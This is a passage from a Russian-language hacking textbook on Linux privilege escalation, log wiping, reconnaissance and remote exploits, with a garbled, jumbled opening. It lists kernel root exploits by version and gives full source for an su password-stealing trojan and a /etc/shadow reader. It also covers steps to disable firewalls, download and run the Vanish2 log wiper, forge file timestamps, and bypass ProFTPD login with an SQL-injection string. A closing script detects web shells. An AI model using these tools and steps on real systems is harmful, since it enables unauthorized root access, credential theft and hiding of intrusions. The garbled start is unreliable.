успешно. Замысловатое название файла jessica_biel_naked_in_my_bed (Джессика Биль голая в моей постели) не несет особой смысловой нагрузки.c http://www. В них обычно указываются опции компиляции и примеры использования. что эксплойт написан на языке С.1).

kmod.5–2. как это сделать. подходящих для разных версий ядра Linux. а затем отключить брандмауэр. что характерно для суперпользователя. То есть мы достигли главной цели всех хакеров — получения максимальных привилегий в системе. prctl.20 — ptrace.6. выполняющую команду /bin/sh.4. 2. 2. krad.4. h0llyshit.6.4. kmod. h00lyshit.6. brk2.16 — raptor.4. h00lyshit.10 — krad.18 — brk. h00lyshit.21 — brk. h00lyshit. brk2. 2. 2.4. 2.27 — uselib24.32-rc5 — Pipe.22 — brk.9 — krad.8 — krad. kmod. krad2. Поздравляю! Приведу список названий эксплойтов.31 — perf_counter (x64).6.23 — mremap_pte. h00lyshit. Команда id подтверждает. 2. ptrace. ptrace-kmod. Когда у хакера есть только веб-шелл и нет возможности использовать бэк-коннект (поскольку исходящие соединения тоже фильтруются брандмауэром). uselib24. 2.4. 2.1 — vmsplice. 2. krad2. Прежде чем «заливать» эксплойт на сервер.6.6.9–34 — r00t. 2. ptrace.24 — mremap_pte. 2. 2.19 (32bit) — ip_append_data() 0x82-CVE-2009–2698.8–5 — krad2.6. raptor2.1–2.4. 2.4.4. 2.13–2. newlocal.2 — mremap_pte. kmod. 2. brk. 2.4.6.6–2. brk2. 2.17 — newlocal. brk2. newlocal. 2. 2. 2.6.6.c. После этого можно соединиться с сервером напрямую по протоколу SSH или использовать бэк-коннект шелл.Повышение привилегий 111 знаком #. что мы теперь работаем как пользователь root (uid=0). то с помощью локального эксплойта можно получить права root через веб-шелл. и заменить эту команду запуска шелла строкой system ("chmod 4755 /tmp/hack").6.6.6. 2.25–1 — uselib24. brk2. krad2. 2. ptrace-kmod.6.19 — brk.22–10 — loginx.30 — +/SELinux/RHEL5 Test Kernel Local Root Exploit 0day.6. 2.6. h00lyshit. 111 . uselib24. Сейчас мы разберем. ptrace-kmod.4.17–2. нужно найти в его коде строку.24.

выполняющий команду. cmd = fgets (file). Повышение привилегий В этом случае после получения прав root эксплойтом команда chmod 4755 установит бит suid (это делает первая цифра — 4) для программы /tmp/hack и в дальнейшем будет исполняться с правами суперпользователя. ознакомившись с правилами. прописанную в файле /tmp/ cmd. В качестве «домашнего задания» предлагаю вам попытаться получить права root на системе Back Track 4. а некоторые вообще позволяют получить эти права только один раз (как эксплойт do_brk). } Эта программа берет команду из файла /tmp/cmd и выполняет ее. что изменить его код не удастся. что новейший эксплойт — так называемый эксплойт нулевого дня (0-day) покупается (или выменивается) хакером в откомпилированном виде. Тем самым вместо /bin/sh с правами root запускается команда chmod. system(cmd). В результате после компиляции и успешного запуска видоизмененного эксплойта на том же сервере у него будет полноценный рутовый шелл. Напишем сценарий для запуска эксплойта: #!/bin/sh alias "/bin/sh" "chmod 4755 /tmp/evil" Далее идет запуск самого эксплойта.6. чтобы узнать правила брандмауэра. а поскольку для программы /tmp/hack установлен бит suid. записывает в /tmp/cmd строку iptables –t nat –nvL Затем. Почему мы не включили выполнение команды из файла в код самого эксплойта? Потому что многие эксплойты работают нестабильно. Когда эксплойт отработает успешно. Обычно эксплойт вызывает оболочку /bin/sh. Там использована более новая версия ядра (2. Далее хакер заливает ее текст на сервер в каталог /tmp и компилирует с созданием бинарного файла /tmp/evil. getgid(0).30). r). Далее он может установить поддельную версию программы iptables с сокрытием своих правил (выводящую по запросу предыдущие правила) или просто загрузить в веб-каталог PHP-шелл и установить у него бит suid. хакер. fclose(file). он отменяет их командой iptables –F После этого уже ничто не мешает ему напрямую подключиться к компьютеру.c с таким содержимым: int main () { getuid(0). команда выполнится от имени суперпользователя. чтобы шелл исполнялся с правами root. непосредственно обращаясь к ней. Но и на этот случай у хакеров есть действенный способ. Затем нужно создать файл hack. 112 . file = fopen ("/tmp/cmd". то есть не каждый раз дают права root. а это означает. Часто бывает.112 0D.

fclose(fd). В этом случае хакеру можно попробовать подменить команду su своей троянской программой. появляются новые эксплойты.elm/su su. exit (1).ssh .h> #include <stdlib. На всякий случай приведу ее текст полностью: /* su trojan ribbed — by FA-Q * werd to lwn for his help. которые я для нее нашел.Повышение привилегий 113 и ни один из эксплойтов. system(buf). как это было ранее. включив в него следующую строку: PATH=$HOME/.bashrc. а не из каталога /bin.bashrc * add PATH=$HOME/. } 113 . Троянскую программу su. "pass: %s\n". Тогда.bash_profile or .rewt" main (int argc. так и не дал мне прав root. Для этого в домашнем каталоге пользователя создается скрытый каталог: mkdir . printf ("su: incorrect password\n"). Теперь. Дальше хакеру нужно отредактировать (или создать) файл .elm * cc -o ~/. Но время идет.org/trojans/index7. key = (char *)getpass ("Password:").elm Можно задействовать имеющийся каталог.c. команда su будет исполняться из каталога хакера.elm:$PATH Эта строка добавляет в начало пути поиска исполняемых файлов скрытый каталог . которая была написана хакером FA-Q в далеком 1999 году. нужно только не забыть изменить название при применении эксплойта.elm:$PATH */ #include <stdio. "rm %s". * mkdir . переключаясь на суперпользователя.c * edit . char buf[24]. не запускал ли этот пользователь команду su (switch user). у вас что-то получится? ☺ Но что делать хакеру. можно проверить. char *argv[]) { char *key. которая перехватит пароль. fprintf(fd.html. FILE *fd. key). если пользователь введет команду su без указания полного пути (что обычно и происходит). можно скачать с адреса http://www. что у хакера есть логин и пароль некоего непривилегированного пользователя. argv[0]). packetstormsecurity.bash_history.h> #define SU_PASS "/tmp/."w"). Может быть. fd = fopen(SU_PASS.elm. просматривая файл . sprintf(buf. если ни один из доступных эксплойтов не дает прав root? Предположим. например .

rewt. 0D. Как работает эта программа? Она спрашивает у пользователя пароль и сохраняет его в файле /tmp/. 0D.elm/su su. удаляет себя и завершает работу. Поскольку троянская программа уже себя удалила. Тем не менее при работе этой программы в DVL у меня были определенные проблемы. В некоторых системах (таких. в то же время в системе BackTrack 4 программа отработала нормально (рис. что пароль неверный. например: «Sorry».elm/%s". замените его. а затем выводит сообщение о том. Вот строка с ошибкой: sprintf(buf. заглянув в файл /tmp/. Тем не менее.rewt. как DVL) сообщение «su: incorrect password» нужно заменить другим. А хакеру остается только узнать пароль. То есть нужно указать в команде rm полный путь к троянскому файлу su. и вновь выполняет команду su. Вместо нее нужно ввести примерно такую строку: sprintf(buf. Рис.2). "rm %s". эта программа содержит ошибку. При этом пользователь обычно думает. Использование троянской программы su 114 . Повышение привилегий Откомпилировать эту программу можно командой cc -o ~/. argv[0]). стандартным для этой системы. что при наборе пароля нечаянно нажал не ту клавишу. Однако ошибку можно легко исправить. "rm /home/user/. как я выяснил. выполняется нормальная программа su.2.114 0D. argv[0]). из-за которой файл программы не удалится.c Если имя каталога другое.

конечно. Да и удалять надо не исходный текст трояна (его обычно удаляет сам хакер. как su.txt. Я иногда удивляюсь тому.txt ☺. что хакер еще не успел эти файлы просмотреть.elm. Используемая в системе версия libc должна иметь маркировку 5. Пришлось запустить su с указанием полного пути: /bin/su. мы нигде не упоминали файл su.spywaredb. Неплохо периодически с помощью команды echo $PATH проверять содержимое переменной $PATH на предмет появления новых странных каталогов. какой бред можно встретить на сайтах.c. Например. а для наших учебных целей вполне нормально. надо искать подозрительные скрытые файлы в каталоге /tmp и записывать туда неверный пароль в надежде. Особенно меня умилило расширение . чтобы вы подивились изобретательности хакеров. но при повторном запуске su возникла проблема — интерпретатор bash искал файл su почему-то только в каталоге /home/uri/. Чтобы удалить трояна Su trojan ribbed вручную. Вряд ли он будет работать на современных машинах. что ваш компьютер заражен трояном и критические данные могут быть в опасности или даже утрачены. Если вы помните. traceroute. на страничке http://www. решение этой проблемы — работа для антихакера. Также должен существовать один из перечисленных файлов с установленным битом suid: ping. так что хакер старается так изменить программу. посвященных программному обеспечению для борьбы со шпионскими программами. rlogin или ssh. но я просто приведу его здесь для информации. и не нашел. с указанием полного пути (например. обнаружению и закрытию путей вторжения.com/remove-su-trojan-ribbed/ я нашел следующую информацию (на английском): Su trojan ribbed является одной из троянских шпионских программ. 115 . что система действительно скомпрометирована. После всех необходимых приготовлений и запуска программы su введенный мною пароль пользователя root сохранился в скрытом файле в каталоге /tmp. не обладая правами root? Есть один весьма древний способ. А верно здесь только то. Троянская программа удалила себя. загрузите Spyware Doctor. /bin/su).txt. а поддельный исполняемый файл su. а не просто удалять один файл. Поэтому надо принимать неотложные меры по смене всех паролей. Троянская программа su может распознаваться некоторыми антивирусами. И никакой чудесный «Spyware Doctor» не поможет. постоянный запуск таких программ. Обнаружение этой программы на вашем компьютере означает. часто подменяемых хакерами. позволяет не бояться подобных троянов. Чтобы удалить Su trojan ribbed автоматически. то есть хакер уже знает пароль как минимум одного законного пользователя. провал.7. А если он уже сам удалился. Для хакера это.c.Повышение привилегий 115 Я заранее создал пользователя uri и его домашний каталог (home/uri). чтобы антивирус ее не видел. А как посмотреть содержимое файла /etc/shadow или другого файла. удалите файл su.4. чтобы не вызвать подозрений). А единственное назначение таких пугающих сообщений на сайтах производителей программ — «впарить» свой продукт доверчивым потребителям. Кстати.

rlogin. по-видимому.argv[0])."-h")) || !(strcmp(argv[1]. если выполняется команда для несуществующего хоста (asdf). У меня в DVL этот трюк не сработал — нужен какойнибудь древний дистрибутив Linux. FILE *devel. Приведу небольшую хакерскую программу rcb. { char buffer[200].c. char *gag. } void main(argc. * little personal message to the world: F*CK CENSORSHIP! */ #include <stdio."--help"))) { printf("RCB Phraser — junked by THERAPY\n\n"). чтобы запустить оболочку bash. но для немного знающего администрирование и английский язык она представляется довольно очевидной. 116 . права на который принадлежат пользователю root. exit(1)."rb").devel). while(!feof(devel)) { fgets(buffer. вводится не имя файла конфигурации. за разрешение имени хоста. например «asdf»: ping asdf Если этот прием сработает. а имя /etc/shadow. Повышение привилегий 1. Введите одно из перечисленных имен файлов и после него какие-нибудь буквы. эксплуатирующую данную уязвимость: /* RCB Phraser — therapy in '96 * Limits: Linux only.h> void getjunk(const char *filetocat) { setenv("RESOLV_HOST_CONF". Введите в командной строке команду bash. Введите следующую команду: export RESOLV_HOST_CONF=/etc/shadow 3. ssh) работают с хостами в Интернете. Суть метода в Интернете не объясняется. указанного в переменной RESOLV_HOST_CONF. devel=fopen("phrasing". gag+=10. и в переменную RESOLV_HOST_CONF.argv) int argc. отвечающую. В результате. 2.sizeof(buffer). system("ping xy 1> /dev/null 2> phrasing"). программа выводит на экран содержимое файла.116 0D. gag=buffer.1). Вы можете заменить его любым другим файлом. Команда ping и остальные перечисленные здесь программы (traceroute. if((argc==1) || !(strcmp(argv[1]. no binary files. на экран будет выведено содержимое файла /etc/ shadow. } getjunk(argv[1]). char **argv. unsetenv("RESOLV_HOST_CONF"). printf("Usage: %s [NO OPTIONS] [FILE to cat]\n\n".filetocat.

} В командной строке надо вводить команду rcb /etc/shadow Вместо/etc/shadow можно ввести имя другого файла в системе.exploit-db.6. если ему так и не удается получить права root в системе? Он не забрасывает систему насовсем.Повышение привилегий 117 if(strlen(buffer)>24) { strcpy(buffer+strlen(buffer)-24. почти не вызывающее подозрений: last login from localhost Это — простейший прием сокрытия следов вторжения. например /etc/passwd. так. попробовать снова.stdout)."\n"). fputs(gag. автор Marco Ivaldi. Чтобы немного успокоить пользователя. 117 . он увидит сообщение: last login from xxx. Хакер старается не слишком «светиться» в этой системе. Тогда при следующем входе пользователь увидит следующее сообщение. Для систем Linux с версией ядра ниже 2. что его может посмотреть непривилегированный пользователь. потому что каждое его посещение оставляет запись в системных журналах. который вы не можете прочитать. remove("phrasing").x chown() Group Ownership Alteration Exploit. но все еще может встретиться где-то в Интернете) существует эксплойт Linux Kernel 2.6. а запоминает информацию о ней (только ни в коем случае не делает записей на бумаге!). с которого хакер в последний раз заходил в систему.com/exploits/718/ Что делать хакеру. Эксплойт появился в 2004 году. Это сообщение выдает IP-адрес или имя сайта. о более сложных мы поговорим в следующей главе.com time:0:00 date:xx/xx/xx. } } fclose(devel). когда выйдут новые эксплойты. текст его можно найти по адресу http://www. И когда законный пользователь войдет в систему. чтобы потом.7-rc3 (которая является уже достаточно старой. меняющий групповую принадлежность любого файла. хакер может после входа выполнить команду ssh localhost и войти снова в систему с локального хоста.

написанный хакером по кличке Neo The Hacker. называемый еще логвайпером (log wiper). воспользоваться услугами логвайпера можно только в случае. Кроме того.0E Сокрытие следов присутствия Одна из самых необходимых утилит на захваченной машине — чистильщик лог-файлов. 0E. он оставляет множество следов в журналах (логах) веб-сервера. он постоянно оставляет следы в системных журналах. 0E. Чтобы скрыть следы своего присутствия. Естественно. хакеру неплохо было бы эти файлы подчистить. Пока хакер взламывает веб-сайт. Вы увидите много интересного (рис.1). Следы хакерской деятельности в журнале access_log Многие хакерские сайте рекомендуют использовать логвайпер Vanish2. если у хакера есть права суперпользователя (root ).org/UNIX/penetration/log-wipers/vanish2. откройте в редакторе файл /usr/local/apache/logs/access_log.tgz 118 . Чтобы полюбоваться следами взлома в логах сервера Apache. Загрузить архив с исходным кодом можно отсюда: http://packetstormsecurity.1. входя в систему как определенный пользователь. Рис. так как доступ на запись к системным журналам для всех остальных пользователей закрыт.

xferlog.2): vanish2 nobody localhost 127. но удаляются по ее завершении. После компиляции я запустил программу (рис.tgz Затем нужно разархивировать загруженный файл: tar -xzvf vanish2. Компиляция и запуск программы Vanish2 Журнал utmp почистился. Прежде чем компилировать и запускать Vanish2. К сожалению. нужно поставить символы комментария. Для этого перед каждым аварийным выходом exit(0). найдите в своей системе все файлы журналов и пропишите правильные пути к ним в исходном тексте. 0E. maillog. Кроме того. httpd.org/UNIX/ penetration/log-wipers/vanish2. messages. secure и httpd.0.error_log. чтобы программа продолжала работу в любом случае.Сокрытие следов присутствия 119 Эта программа чистит файлы WTMP. Пришлось в редакторе заменить все вызовы функции exit() вызовами exit(0). secure. Также сильной стороной чистильщика является отсутствие временных файлов после работы. warn. когда не найден очередной файл журнала.tgz http://packetstormsecurity. эта программа аварийно завершает работу и не чистит оставшиеся журналы. вот так: // exit(0). Основное внимание следует обратить на чистку журналов messages. httpd.c -o vanish2 В моей системе (Damn Vulnerable Linux) компилятор выдал сообщение об ошибке.access_log.tgz Компилировать программу следует так: gcc vanish2. mail. UTMP. если Vanish2 не находит какой-либо журнал. можно попытаться так отредактировать исходный текст. а журнал wtmp не был найден.access_log.1 Рис. С этой задачей Vanish2 справляется хорошо. 0E.2. что у функции exit недостаточно аргументов. Перейдем в каталог /tmp и скачаем файл с архивом: wget -O vanish2.0. Они создаются на время чистки. lastlog. указав. 119 .

В реальной жизни из него удаляются только записи с IPадресом хакера. хакеры рекомендуют для входа задействовать программу ssh с параметром -T (если в систему разрешен вход пользователей без выделения псевдотерминала). 0E. не создается и запись в этих журналах.org/UNIX/penetration/log-wipers/ Но что делать. В этом случае псевдотерминал не создается. администратор не сможет узнать.120 0E. Таким образом. соответственно. множество же других записей остается.0. если хакеру не удалось получить привилегии root в системе. Рис.0. Другие чистильщики лог-файлов вы можете найти по адресу http://packetstormsecurity. Если хакер редактирует в системе какие-то файлы. Но об этом мало кто знает. после изменения файлов. он запоминает время их создания. По информации сайта hacker-pro. Результат работы подправленной программы Vanish2 Пожалуй. чтобы вернуть прежнее время их создания. использует команду touch с опцией –t. 0E. После этого программа отработала.3.cc] имя_файла(или каталога) 120 .3. очистился полностью. в ходе тестирования этой программы полная очистка двухнедельных логов сервера заняла около 10 минут. В программе PuTTY под Windows тоже есть аналогичная опция. единственный недостаток Vanish2 — скорость работы. Сокрытие следов присутствия Путь к журналам access_log и error_log мне пришлось изменить. потому что к нашему сайту доступ осуществлялся только с адреса 127. как показано на рис. Чтобы не оставлять компрометирующих следов в журналах utmp и wtmp. например. в которую он иногда заходит под видом законного пользователя? Последние входы пользователей системный администратор легко может просмотреть командой last. Формат команды следующий: touch -t ГГГГММДДЧЧММ[. устанавливаемая на вкладке SSHTTY (Don’t allocate a pseudo-terminal). когда и как именно был взломан его сервер.1. кем. а потом. Журнал access_log.

В квадратных скобках указан необязательный параметр — секунды. нужно ввести следующую команду: touch -t 200906272335. эта команда не всегда разрешена для обычных пользователей.c К сожалению для хакера. чтобы изменить время создания файла file. чтобы не вызвать подозрений. Например. MM — месяц. если хакер создал новые файлы и каталоги. можно заменить время их создания более ранним.c на 27 июня 2009 23 часа 35 минут и 22 секунды. 121 . ММ — минуты. ДД — день.Сокрытие следов присутствия 121 Здесь ГГГГ — год. Также. ЧЧ — часы.22 file.

Если в системе для аутентификации пользователей применяется протокол LDAP. Можно также получить информацию об интересующем пользователе (командой finger). помимо прочей информации о пользователях. доступный по протоколу FTP. находятся хэши паролей. закрепиться в нем. Чтобы узнать. он может получить его.log (или в другой. после чего их можно взламывать при помощи программы John The Ripper. выбрав в меню команду SessionLogging (Printable Output). Тогда весь вывод консоли будет отправляться в файл журнала putty. но особенно результативно исследование после получения прав root. а затем забрать оттуда. Если у хакера еще нет содержимого файлов /etc/passwd и /etc/shadow. следующее. Посмотреть. Иногда могут существовать копии старых файлов /etc/shadow.old или просто shadow. можно их скопировать в каталог. проникнуть в другие системы. А если используется программа PuTTY. доступные для чтения всем пользователям (с именем типа /etc/shadow. Особенно ему интересен этот файл в каталоге суперпользователя 122 . Историю вводимых пользователем команд хакер может изучать по файлу . можно просмотреть каталог /usr/local/openldap/backup на предмет наличия копии базы данных LDAP в текстовом виде. описанный в главе 0C. можно включить протоколирование. кто работает в системе в данный момент (командой w или who) и кто входил в систему в последнее время (командой last). потому что тогда ему открывается доступ ко всем файлам и ко всем командам.bash_history. поможет извлечь и раскодировать хэши паролей. Имея доступ к шеллу системы. повысить свои привилегии. Далее можно вывести содержимое файлов командой cat и после этого просмотреть это содержимое в файле журнала. Просмотр доступных файлов может натолкнуть хакера на новые мысли. но в другом каталоге).0F Исследование системы Благодаря исследованию системы хакеру удается проникнуть в чужой компьютер. например. применяется команда last имя_пользователя. указанный хакером). Если файлы большие. Исследовать систему хакеру нужно на всех этапах. В этой базе. дополнительно кодированные по алгоритму base64. когда входил в систему конкретный пользователь. Простой сценарий на языке Perl. хакер может сделать.

чтобы тот не обнаружил вторжение. смотрит. Для этого он ищет в домашнем каталоге root файлы и каталоги с именами hack. Кроме того. но хакер получил права root при помощи эксплойта.sh говорит хакеру о том. Хакер обязательно просматривает файлы /etc/hosts и ssh/known_hosts. п. Естественно. п. хакер внимательно изучает этот сценарий. чтобы узнать. название сценария наподобие check_intruder. он может просто применить для соединения с родственными хостами команду ssh: ssh root@other-host. intruder и т.Исследование системы 123 (root).sh и т. с какими хостами можно соединиться с данного компьютера. Например. hacker. и при необходимости слегка редактирует его. какие меры тот предпринимает для обнаружения вторжения хакеров. хакер может исследовать файлы сценариев (с расширением . В ходе исследования системы хакер изучает действия суперпользователя. чтобы не быть пойманным.net При этом на другом хосте должен быть разрешен вход суперпользователя с первой машины без пароля. 123 . А если пароль пользователя root неизвестен. что этот сценарий проверяет систему на возможные вторжения.). Пароль пользователя root на нескольких сайтах домена может быть одинаковым. hacking.

и python-сценарии не выполняются. основываясь на материале предыдущих глав. и дальнейшее проникновение через Веб оказывается невозможным. Теоретический пример случая почти полной непригодности системы: открыт только доступ по протоколу FTP. отвечающие за выполнение команд системы (system(). получил хакер права root или нет. но и сохранить его на возможно более длительное время. если для других применений данная система его не интересует (непригодна). так и слепая инъекции. Тем не менее систему все-таки можно использовать как промежуточное звено для хранения файлов. где это возможно). но она дает вам некоторое представление о том.1). Использование XSS осталось за пределами схемы. Независимо от того. Описанная схема. хакер не может выполнить загруженный в систему веб-шелл. 124 . хакер обычно к данной цели не стремится по причине того. не может охватить всего богатства реальных ситуаций. как хакер может проникнуть в систему и закрепиться в ней. что на схеме в качестве одной из целей указан дефейс сайта (или массовый дефейс сайтов). что его могут «вычислить» и перекрыть доступ к системе. 10. он может годами сохранять доступ к данному компьютеру. Дефейс хакер выполняет только в том случае. а perl. passthru() и shell_exec()). конечно. Под SQL-инъекцией понимаются как обычная. но по соображениям безопасности в PHP отключены все функции. что самым «экологически чистым» способом является вход в систему от имени законного пользователя без создания псевдотерминала (там. Таким образом. Сделаю некоторые пояснения к схеме. Для простоты я разделил все возможные ситуации на 3 большие группы (рис. которые затем будут скачиваться на другие уязвимые системы. Отмечу.10 Алгоритмы получения контроля над сервером Здесь мы рассмотрим некоторые алгоритмы проникновения хакера на сервер. Настоящий хакер всегда стремится не только получить доступ к системе. Несмотря на то.

Алгоритмы получения контроля над сервером Рис. Схема получения несанкционированного доступа к серверу через Веб 125 125 .1. 10.

uid. Хотя подробное изучение таких эксплойтов выходит за рамки темы данной книги.pl Для запуска эксплойта нужно выполнить команду в консоли: ./exploit. Они позволяют выполнять команды в удаленной системе или вызвать в ней отказ в обслуживании.securityfocus. Эксплойт можно найти по адресу http://downloads. мы кратко рассмотрим удаленные эксплойты на простом примере — уязвимости ftp-сервера ProFTPD.com 126 . можно извлечь данные из таблицы users (пользователи) и обойти аутентификацию. То есть хакеру нужно быть уверенным.homedir. На следующее приглашение системы нужно ввести пароль: PASS password Здесь password — это пароль пользователя myuser. скачивания. Отличительной их особенностью является «заточенность» под конкретное наименование и версию демона (службы). использующих уязвимости различных сервисов.1.shell from users. в ответ на приглашение системы нужно ввести имя пользователя: USER myuser Здесь myuser — это логин пользователя. вместо действительного пароля введя просто цифру 1: USER %') and 1=2 union select 1. Уязвимыми являются версии от 1.1 до 1.pl ftp. -PASS: 1 После этого можно работать в системе от имени законного пользователя. а сама уязвимость заключается в возможности SQL-инъекции.2 rc 2.3. система предоставляет доступ по протоколу FTP (для просмотра каталогов. Когда пользователь (обычно клиентская программа) соединяется с ftp-сервером (через порт 21). В случае если имя пользователя и пароль верные. Если вместо имени пользователя указать символ % и добавить следом SQL-запрос. что на исследуемой системе установлена именно нужная версия службы. посвященной в основном вебхакингу (то есть хакингу через веб-сайты).example.com/vulnerabilities/exploits/33722. загрузки и удаления файлов).11 Удаленные эксплойты Существует целый класс удаленных (remote) эксплойтов.gid.3.

и при этом у него к компьютеру будет подключена сеть и доступен DHCP-сервер (что в наше время встречается очень часто). используя этот носитель OpenSolaris.example. Эта брешь была актуальна в 2008 году. Компания Sun выпустила операционную систему OpenSolaris на сменном носителе (LiveCD). и компания Sun обещала устранить ее в последующих выпусках.example.com [!] Please Choose A Command To Execute On ftp. на экране появится меню команд: [*] Connected To ftp.com — адрес уязвимого сайта (префикс ftp указывает на использование протокола FTP). удаленные взломщики могут зайти на машину с логином jack и паролем jack и переключиться командой su на суперпользователя с помощью пароля opensolaris.Удаленные эксплойты 127 Здесь ftp. Существуют и совсем курьезные случаи удаленных эксплойтов.example. В случае если эксплойт успешно подключится. позволяющих получить права суперпользователя. Чтобы противодействовать применению удаленных эксплойтов. многие системные администраторы удаляют из баннеров системных служб информацию о наименовании и версии демона либо изменяют эту информацию с целью обмануть хакеров. 127 . Если кто-то загрузится.17 (MKD/CWD) Remote Root Exploit». вышедший в октябре 2005 года под названием: «Linux-ftpd-ssl 0. Через уязвимость определенной версии ftp-демона этот эксплойт позволял хакеру получить права суперпользователя в Linux.com : [1] Show Files [2] Delete File [3] Rename File or Dir [4] Create A Directory [5] Exit Enter Number Of Command Here => В свое время наделал много шума эксплойт.

12

Противодействие хакерам

Многие меры противодействия были описаны ранее при изложении методов
хакерской атаки. Другие меры, не указанные явно, могут быть придуманы, исходя из описанных здесь действий хакеров. Антихакингу в Сети посвящена замечательная книга Эндрю Локхарта «Антихакинг в сети. Трюки» (издательство
«Питер», 2005). Книга содержит ровно 100 профессиональных примеров защиты
(трюков), касающихся как предотвращения вторжения, так и его обнаружения.
Наши задачи значительно скромнее, поэтому я просто приведу текст сценария
check.sh (который можно найти в Сети), проверяющего систему на вторжение
через веб-сайты. Скрипт проверяет, имеются ли в каталогах веб-сайтов некоторые известные хакерские веб-шеллы, например r57shell, 99sh, void.ru, а также
вызываются ли в файлах подозрительные PHP-функции, такие как shell_exec,
base64_decode и create_function. Сценарий записывает результаты проверки в файл
/var/log/check.log, а в случае обнаружения чего-то подозрительного высылает
письмо на адрес администратора сайта. Проверка в данном сценарии не является исчерпывающей, для реального применения можно еще многое добавить.
Например, вместо функции shell_exec, используемой для выполнения команд
системы, хакерские веб-шеллы могут вызвать для той же цели функцию eval,
system или passthru. Кроме того, должен быть расширен список известных вебшеллов (cgitelnet, nfm и т. п.).
#!/bin/bash
if [ $# -lt 1 ]; then
echo "usage: $0 file_name";
exit 0;
fi
RESULT=""
FILE=""
for F in $( grep "\.php$" $1 ); do
FIND=`echo $F | grep -c "\.php$"`
if [ "$FIND" == "0" ]; then
if [ "$FILE" == "" ]; then
FILE=$F
else
FILE=$FILE" "$F
fi

128

Противодействие хакерам

129

else
if [ "$FILE" == "" ]; then
FILE=$F
else
FILE=$FILE" "$F
fi
F1="/usr/"$FILE
if [ -f "$F1" ]; then
RE=`grep -c r57shell "$F1" `
if [ "$RE" != "0" ]; then
RESULT=$RESULT"\nFIND possible hack file "$F1
fi
RE=`grep -c gzinflate "$F1" `
if [ "$RE" != "0" ]; then
RESULT=$RESULT"\nFIND possible hack file "$F1
fi
RE=`grep -c 99sh "$F1" `
if [ "$RE" != "0" ]; then
RESULT=$RESULT"\nFIND possible hack file "$F1
echo $FIND "$FILE"
fi
RE=`grep -c "\.void\.ru" "$F1" `
if [ "$RE" != "0" ]; then
RESULT=$RESULT"\nFIND possible hack file "$F1
echo $FIND "$FILE"
fi
RE=`grep -c "shell_exec" "$F1" `
if [ "$RE" != "0" ]; then
RESULT=$RESULT"\nshell_exec:FIND possible hack file "$F1
echo $FIND "$FILE"
fi
RE=`grep -c "base64_decode" "$F1" `
if [ "$RE" != "0" ]; then
RESULT=$RESULT"\nbase64_decode:FIND possible hack file "$F1
echo $FIND "$FILE"
fi
RE=`grep -c "create_function" "$F1" `
if [ "$RE" != "0" ]; then
RESULT=$RESULT"\ncreate_function:FIND possible hack file "$F1
echo $FIND "$FILE"
fi
fi
FILE=""
fi
done;
FILE=""
for F in $( grep "\.htaccess$" $1 ); do
FIND=`echo $F | grep -c "\.htaccess$"`
if [ "$FIND" == "0" ]; then
if [ "$FILE" == "" ]; then
FILE=$F
else
FILE=$FILE" "$F

продолжение 

129

130

12. Противодействие хакерам
fi

else

#

if [ "$FILE" == "" ]; then
FILE=$F
else
FILE=$FILE" "$F
fi
echo $FIND "$FILE"
F1=$FILE
if [ -f "$F1" ]; then
RE=`grep -c "application/x-httpd-php" "$F1" `
if [ "$RE" != "0" ]; then
RESULT=$RESULT"\nFIND possible hack file "$F1
fi
fi
FILE=""

fi
done;
FILE=""
for F in $( grep "index\.html$\|index\.php$\|index\.htm$" $1 ); do
FIND=`echo $F | grep -c "index\."`
if [ "$FIND" == "0" ]; then
if [ "$FILE" == "" ]; then
FILE=$F
else
FILE=$FILE" "$F
fi
e
if [ "$FILE" == "" ]; then
FILE=$F
else
FILE=$FILE" "$F
fi
#
echo $FIND "$FILE"
F1="/usr/"$FILE
if [ -f "$F1" ]; then
RE=`grep -i -c "viagra" "$F1" `
if [ "$RE" != "0" ]; then
RESULT=$RESULT"\nFIND possible hack file "$F1
fi
fi
FILE=""
fi
done;
if [ "$RESULT" != "" ]; then
echo -e `date`$RESULT >> /var/log/check.log
echo -e `date`$RESULT | mail -c sysadm@mysite.net -s "Red Alert!
possible hack file on mysite.net" admin@mysite.net
else
echo -e `date`" didn't find intruder." >> /var/log/check.log
fi

130

Представители ABF и «Юнимас» (на тот момент — московский субсидиарий фирмы «Юнисис». При этом наше руководство хотело оценить возможности новой программы. которая являлась субсидиарием (subsidiary) фирмы «Юнисис». чтобы принять взвешенное решение о ее закупке (ибо программа была весьма дорогостоящая). но пусть будет «Лайна») предназначалась для работы с клиентами — физическими лицами. как это ни парадоксально. будучи таким специалистом. В данном же случае инсайдером был я. но. однако программа «Лайна» могла бы удачно ее дополнить. пример первый. Разумеется. и к нам привезли в отдел программирования новую программу для больших машин (мэйнфреймов) фирмы «Юнисис». В середине 1990-х я работал в крупном региональном коммерческом банке главным администратором в службе компьютерной безопасности. Иногда инсайдеры могут действовать в своих корыстных интересах или в интересах конкурирующей компании. никаких противозаконных действий не совершал. «Юнимас» занимался технической 131 . я сам. Примеры будут достаточно простые. касающихся реальных жизненных ситуаций. и согласно договору с банком. работающий в компании и имеющий доступ к закрытой корпоративной информации. Эта программа (не помню названия. ее разработала одна небольшая прибалтийская компания (назовем ее условно ABF).13 Реальные задачи IT-безопасности В этой главе я приведу несколько примеров. хотя иногда мне приходилось мысленно ставить себя на место хакера. Итак. Использование инсайдерской информации для взлома пароля Инсайдер — это человек. разработанная британским отделением «Юнисис». В то время для работы с юридическими лицами и для выполнения оптовых банковских операций на машинах фирмы «Юнисис» у нас уже давно использовалась другая программа. но они в определенной степени позволяют понять стиль мышления как хакера. я действовал в интересах своей компании (!). так и специалиста по безопасности.

Программа была написана на языке 3-го поколения LINC II. Там было всего два пользователя: один — с прибалтийской фамилией. Это был вечер пятницы. Сама программа создавалась программистами в среде LINC II. Алгоритм шифрования (или. Этот хитрый язык. насколько я знал. Но программа была огромная. Реальные задачи IT-безопасности и программной поддержкой) установили демо-версию этой программы в нашем банке. чтобы получить исполняемую программу. плюс среда программирования. поэтому гости просто привезли исходные тексты на LINC II. Тогда. чтобы получить доступ к исходным текстам программы «Лайна». поскольку в общем случае перебор паролей — более медленный путь. где осуществлялась авторизация пользователей программы «Лайна»: вместо условного перехода после успешного сравнения имени пользователя и пароля надо было вставить безусловный переход. и нашим работникам захотелось посмотреть программу более подробно на выходных. а затем уже запускался компилятор языка КОБОЛ. вероятнее. вошли под своим паролем и показали ее возможности нашим программистам в течение одного рабочего дня. главное. что многие пользователи выбирают пароль. я охотно вызвался помочь. а машина — медленная. Также там были зашифрованные пароли. а подумать. автор программы (это было указано в комментариях) и. Потом приезжие спецы вышли из программы «Лайна» и уехали в загородную гостиницу. Я сделал необходимые изменения и 